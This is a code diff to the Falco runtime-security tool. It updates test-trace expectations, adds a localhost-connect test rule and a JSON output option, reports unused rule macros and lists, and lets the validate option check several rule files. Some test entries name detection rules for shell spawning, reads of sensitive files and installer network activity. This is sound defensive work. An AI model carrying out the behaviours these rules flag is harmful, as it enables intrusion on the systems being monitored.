-    detect_level: [ERROR, WARNING, INFO, NOTICE]
+    detect_level: [ERROR, WARNING, INFO, NOTICE, DEBUG]
     detect_counts:
       - "Write below binary dir": 1
       - "Read sensitive file untrusted": 3
-      - "Run shell in container": 1
+      - "Run shell untrusted": 1
       - "Write below rpm database": 1
       - "Write below etc": 1
       - "System procs network activity": 1
@@ -59,44 +59,6 @@ traces: !mux
       - "Modify binary dirs": 2
       - "Change thread namespace": 2
 
-  installer-fbash-manages-service:
-    trace_file: traces-info/installer-fbash-manages-service.scap
-    detect: True
-    detect_level: INFO
-    detect_counts:
-      - "Installer bash manages service": 4
-
-  installer-bash-non-https-connection:
-    trace_file: traces-positive/installer-bash-non-https-connection.scap
-    detect: True
-    detect_level: NOTICE
-    detect_counts:
-      - "Installer bash non https connection": 1
-
-  installer-fbash-runs-pkgmgmt:
-    trace_file: traces-info/installer-fbash-runs-pkgmgmt.scap
-    detect: True
-    detect_level: [NOTICE, INFO]
-    detect_counts:
-      - "Installer bash runs pkgmgmt program": 4
-      - "Installer bash non https connection": 4
-
-  installer-bash-starts-network-server:
-    trace_file: traces-positive/installer-bash-starts-network-server.scap
-    detect: True
-    detect_level: NOTICE
-    detect_counts:
-      - "Installer bash starts network server": 2
-      - "Installer bash non https connection": 3
-
-  installer-bash-starts-session:
-    trace_file: traces-positive/installer-bash-starts-session.scap
-    detect: True
-    detect_level: NOTICE
-    detect_counts:
-      - "Installer bash starts session": 1
-      - "Installer bash non https connection": 3
-
   mkdir-binary-dirs:
     trace_file: traces-positive/mkdir-binary-dirs.scap
     detect: True
@@ -111,13 +73,6 @@ traces: !mux
     detect_counts:
       - "Modify binary dirs": 1
 
-  modify-package-repo-list-installer:
-    trace_file: traces-info/modify-package-repo-list-installer.scap
-    detect: True
-    detect_level: INFO
-    detect_counts:
-      - "Write below etc in installer": 1
-
   non-sudo-setuid:
     trace_file: traces-positive/non-sudo-setuid.scap
     detect: True
@@ -131,6 +86,7 @@ traces: !mux
     detect_level: WARNING
     detect_counts:
       - "Read sensitive file untrusted": 1
+      - "Read sensitive file trusted after startup": 1
 
   read-sensitive-file-untrusted:
     trace_file: traces-positive/read-sensitive-file-untrusted.scap
@@ -146,13 +102,6 @@ traces: !mux
     detect_counts:
       - "Run shell untrusted": 1
 
-  shell-in-container:
-    trace_file: traces-positive/shell-in-container.scap
-    detect: True
-    detect_level: DEBUG
-    detect_counts:
-      - "Run shell in container": 1
-
   system-binaries-network-activity:
     trace_file: traces-positive/system-binaries-network-activity.scap
     detect: True
@@ -188,13 +137,6 @@ traces: !mux
     detect_counts:
       - "Write below etc": 1
 
-  write-etc-installer:
-    trace_file: traces-info/write-etc-installer.scap
-    detect: True
-    detect_level: INFO
-    detect_counts:
-      - "Write below etc in installer": 1
-
   write-rpm-database:
     trace_file: traces-positive/write-rpm-database.scap
     detect: True

test/rules/detect_connect_using_in.yaml

@@ -0,0 +1,6 @@
+- rule: Localhost connect
+  desc: Detect any connect to the localhost network, using fd.net and the in operator
+  condition: evt.type=connect and fd.net in ("127.0.0.1/24")
+  output: Program connected to localhost network
+    (user=%user.name command=%proc.cmdline connection=%fd.name)
+  priority: INFO

userspace/engine/falco_engine.cpp

@@ -88,7 +88,8 @@ void falco_engine::load_rules(const string &rules_content, bool verbose, bool al
 	// formats.formatter is used, so we can unconditionally set
 	// json_output to false.
 	bool json_output = false;
-	falco_formats::init(m_inspector, m_ls, json_output);
+	bool json_include_output_property = false;
+	falco_formats::init(m_inspector, m_ls, json_output, json_include_output_property);
 
 	m_rules->load_rules(rules_content, verbose, all_events, m_extra, m_replace_container_info, m_min_priority);
 }

userspace/engine/formats.cpp

@@ -25,6 +25,7 @@ along with falco.  If not, see <http://www.gnu.org/licenses/>.
 
 sinsp* falco_formats::s_inspector = NULL;
 bool falco_formats::s_json_output = false;
+bool falco_formats::s_json_include_output_property = true;
 sinsp_evt_formatter_cache *falco_formats::s_formatters = NULL;
 
 const static struct luaL_reg ll_falco [] =
@@ -36,10 +37,11 @@ const static struct luaL_reg ll_falco [] =
 	{NULL,NULL}
 };
 
-void falco_formats::init(sinsp* inspector, lua_State *ls, bool json_output)
+void falco_formats::init(sinsp* inspector, lua_State *ls, bool json_output, bool json_include_output_property)
 {
 	s_inspector = inspector;
 	s_json_output = json_output;
+	s_json_include_output_property = json_include_output_property;
 	if(!s_formatters)
 	{
 		s_formatters = new sinsp_evt_formatter_cache(s_inspector);
@@ -155,8 +157,12 @@ int falco_formats::format_event (lua_State *ls)
 		event["time"] = iso8601evttime;
 		event["rule"] = rule;
 		event["priority"] = level;
-		// This is the filled-in output line.
-		event["output"] = line;
+
+		if(s_json_include_output_property)
+		{
+			// This is the filled-in output line.
+			event["output"] = line;
+		}
 
 		full_line = writer.write(event);
 

userspace/engine/formats.h

@@ -31,7 +31,7 @@ class sinsp_evt_formatter;
 class falco_formats
 {
  public:
-	static void init(sinsp* inspector, lua_State *ls, bool json_output);
+	static void init(sinsp* inspector, lua_State *ls, bool json_output, bool json_include_output_property);
 
 	// formatter = falco.formatter(format_string)
 	static int formatter(lua_State *ls);
@@ -48,4 +48,5 @@ class falco_formats
 	static sinsp* s_inspector;
 	static sinsp_evt_formatter_cache *s_formatters;
 	static bool s_json_output;
+	static bool s_json_include_output_property;
 };

userspace/engine/lua/compiler.lua

@@ -76,7 +76,8 @@ function expand_macros(ast, defs, changed)
          if (defs[ast.value.value] == nil) then
             error("Undefined macro '".. ast.value.value .. "' used in filter.")
          end
-         ast.value = copy_ast_obj(defs[ast.value.value])
+	 defs[ast.value.value].used = true
+         ast.value = copy_ast_obj(defs[ast.value.value].ast)
          changed = true
 	 return changed
       end
@@ -88,7 +89,8 @@ function expand_macros(ast, defs, changed)
          if (defs[ast.left.value] == nil) then
             error("Undefined macro '".. ast.left.value .. "' used in filter.")
          end
-         ast.left = copy_ast_obj(defs[ast.left.value])
+	 defs[ast.left.value].used = true
+         ast.left = copy_ast_obj(defs[ast.left.value].ast)
          changed = true
       end
 
@@ -96,7 +98,8 @@ function expand_macros(ast, defs, changed)
          if (defs[ast.right.value] == nil) then
             error("Undefined macro ".. ast.right.value .. " used in filter.")
          end
-         ast.right = copy_ast_obj(defs[ast.right.value])
+	 defs[ast.right.value].used = true
+         ast.right = copy_ast_obj(defs[ast.right.value].ast)
          changed = true
       end
 
@@ -109,7 +112,8 @@ function expand_macros(ast, defs, changed)
          if (defs[ast.argument.value] == nil) then
             error("Undefined macro ".. ast.argument.value .. " used in filter.")
          end
-         ast.argument = copy_ast_obj(defs[ast.argument.value])
+	 defs[ast.argument.value].used = true
+         ast.argument = copy_ast_obj(defs[ast.argument.value].ast)
          changed = true
       end
       return expand_macros(ast.argument, defs, changed)
@@ -283,11 +287,28 @@ function get_evttypes(name, ast, source)
    return evttypes
 end
 
+function compiler.expand_lists_in(source, list_defs)
+
+   for name, def in pairs(list_defs) do
+      local begin_name_pat = "^("..name..")([%s(),=])"
+      local mid_name_pat = "([%s(),=])("..name..")([%s(),=])"
+      local end_name_pat = "([%s(),=])("..name..")$"
+
+      source, subcount1 = string.gsub(source, begin_name_pat, table.concat(def.items, ", ").."%2")
+      source, subcount2 = string.gsub(source, mid_name_pat, "%1"..table.concat(def.items, ", ").."%3")
+      source, subcount3 = string.gsub(source, end_name_pat, "%1"..table.concat(def.items, ", "))
+
+      if (subcount1 + subcount2 + subcount3) > 0 then
+	 def.used = true
+      end
+   end
+
+   return source
+end
+
 function compiler.compile_macro(line, macro_defs, list_defs)
 
-   for name, items in pairs(list_defs) do
-      line = string.gsub(line, name, table.concat(items, ", "))
-   end
+   line = compiler.expand_lists_in(line, list_defs)
 
    local ast, error_msg = parser.parse_filter(line)
 
@@ -325,14 +346,7 @@ end
 --]]
 function compiler.compile_filter(name, source, macro_defs, list_defs)
 
-   for name, items in pairs(list_defs) do
-      local begin_name_pat = "^("..name..")([%s(),=])"
-      local mid_name_pat = "([%s(),=])("..name..")([%s(),=])"
-      local end_name_pat = "([%s(),=])("..name..")$"
-      source = string.gsub(source, begin_name_pat, table.concat(items, ", ").."%2")
-      source = string.gsub(source, mid_name_pat, "%1"..table.concat(items, ", ").."%3")
-      source = string.gsub(source, end_name_pat, "%1"..table.concat(items, ", "))
-   end
+   source = compiler.expand_lists_in(source, list_defs)
 
    local ast, error_msg = parser.parse_filter(source)
 

userspace/engine/lua/rule_loader.lua

@@ -347,13 +347,13 @@ function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replac
 	 if (state.lists[item] == nil) then
 	    items[#items+1] = item
 	 else
-	    for i, exp_item in ipairs(state.lists[item]) do
+	    for i, exp_item in ipairs(state.lists[item].items) do
 	       items[#items+1] = exp_item
 	    end
 	 end
       end
 
-      state.lists[v['list']] = items
+      state.lists[v['list']] = {["items"] = items, ["used"] = false}
    end
 
    for i, name in ipairs(state.ordered_macro_names) do
@@ -361,7 +361,7 @@ function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replac
       local v = state.macros_by_name[name]
 
       local ast = compiler.compile_macro(v['condition'], state.macros, state.lists)
-      state.macros[v['macro']] = ast.filter.value
+      state.macros[v['macro']] = {["ast"] = ast.filter.value, ["used"] = false}
    end
 
    for i, name in ipairs(state.ordered_rule_names) do
@@ -443,6 +443,21 @@ function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replac
       end
    end
 
+   if verbose then
+      -- Print info on any dangling lists or macros that were not used anywhere
+      for name, macro in pairs(state.macros) do
+	 if macro.used == false then
+	    print("Warning: macro "..name.." not refered to by any rule/macro")
+	 end
+      end
+
+      for name, list in pairs(state.lists) do
+	 if list.used == false then
+	    print("Warning: list "..name.." not refered to by any rule/macro/list")
+	 end
+      end
+   end
+
    io.flush()
 end
 

userspace/falco/configuration.cpp

@@ -67,6 +67,7 @@ void falco_configuration::init(string conf_filename, list<string> &cmdline_optio
 	}
 
 	m_json_output = m_config->get_scalar<bool>("json_output", false);
+	m_json_include_output_property = m_config->get_scalar<bool>("json_include_output_property", true);
 
 	falco_outputs::output_config file_output;
 	file_output.name = "file";

userspace/falco/configuration.h

@@ -167,6 +167,7 @@ class falco_configuration
 
 	std::list<std::string> m_rules_filenames;
 	bool m_json_output;
+	bool m_json_include_output_property;
 	std::vector<falco_outputs::output_config> m_outputs;
 	uint32_t m_notifications_rate;
 	uint32_t m_notifications_max_burst;

userspace/falco/falco.cpp

@@ -111,7 +111,8 @@ static void usage()
 	   "                               single line emitted by falco to be flushed, which generates higher CPU\n"
 	   "                               usage but is useful when piping those outputs into another process\n"
 	   "                               or into a script.\n"
-	   " -V,--validate <rules_file>    Read the contents of the specified rules file and exit\n"
+	   " -V,--validate <rules_file>    Read the contents of the specified rules(s) file and exit\n"
+	   "                               Can be specified multiple times to validate multiple files.\n"
 	   " -v                            Verbose output.\n"
            " --version                     Print version number.\n"
 	   "\n"
@@ -245,7 +246,7 @@ int falco_init(int argc, char **argv)
 	string pidfilename = "/var/run/falco.pid";
 	bool describe_all_rules = false;
 	string describe_rule = "";
-	string validate_rules_file = "";
+	list<string> validate_rules_filenames;
 	string stats_filename = "";
 	bool verbose = false;
 	bool all_events = false;
@@ -282,7 +283,7 @@ int falco_init(int argc, char **argv)
 		{"pidfile", required_argument, 0, 'P' },
 		{"unbuffered", no_argument, 0, 'U' },
 		{"version", no_argument, 0, 0 },
-		{"validate", required_argument, 0, 0 },
+		{"validate", required_argument, 0, 'V' },
 		{"writefile", required_argument, 0, 'w' },
 
 		{0, 0, 0, 0}
@@ -396,7 +397,7 @@ int falco_init(int argc, char **argv)
 				verbose = true;
 				break;
 			case 'V':
-				validate_rules_file = optarg;
+				validate_rules_filenames.push_back(optarg);
 				break;
 			case 'w':
 				outfile = optarg;
@@ -460,10 +461,17 @@ int falco_init(int argc, char **argv)
 			}
 		}
 
-		if(validate_rules_file != "")
+		if(validate_rules_filenames.size() > 0)
 		{
-			falco_logger::log(LOG_INFO, "Validating rules file: " + validate_rules_file + "...\n");
-			engine->load_rules_file(validate_rules_file, verbose, all_events);
+			falco_logger::log(LOG_INFO, "Validating rules file(s):\n");
+			for(auto file : validate_rules_filenames)
+			{
+				falco_logger::log(LOG_INFO, "   " + file + "\n");
+			}
+			for(auto file : validate_rules_filenames)
+			{
+				engine->load_rules_file(file, verbose, all_events);
+			}
 			falco_logger::log(LOG_INFO, "Ok\n");
 			goto exit;
 		}
@@ -539,6 +547,7 @@ int falco_init(int argc, char **argv)
 		}
 
 		outputs->init(config.m_json_output,
+			      config.m_json_include_output_property,
 			      config.m_notifications_rate, config.m_notifications_max_burst,
 			      config.m_buffered_outputs);
 

userspace/falco/falco_outputs.cpp

@@ -52,7 +52,9 @@ falco_outputs::~falco_outputs()
 	}
 }
 
-void falco_outputs::init(bool json_output, uint32_t rate, uint32_t max_burst, bool buffered)
+void falco_outputs::init(bool json_output,
+			 bool json_include_output_property,
+			 uint32_t rate, uint32_t max_burst, bool buffered)
 {
 	// The engine must have been given an inspector by now.
 	if(! m_inspector)
@@ -65,7 +67,7 @@ void falco_outputs::init(bool json_output, uint32_t rate, uint32_t max_burst, bo
 	// Note that falco_formats is added to both the lua state used
 	// by the falco engine as well as the separate lua state used
 	// by falco outputs.
-	falco_formats::init(m_inspector, m_ls, json_output);
+	falco_formats::init(m_inspector, m_ls, json_output, json_include_output_property);
 
 	falco_logger::init(m_ls);
 

userspace/falco/falco_outputs.h

@@ -41,7 +41,9 @@ public:
 		std::map<std::string, std::string> options;
 	};
 
-	void init(bool json_output, uint32_t rate, uint32_t max_burst, bool buffered);
+	void init(bool json_output,
+		  bool json_include_output_property,
+		  uint32_t rate, uint32_t max_burst, bool buffered);
 
 	void add_output(output_config oc);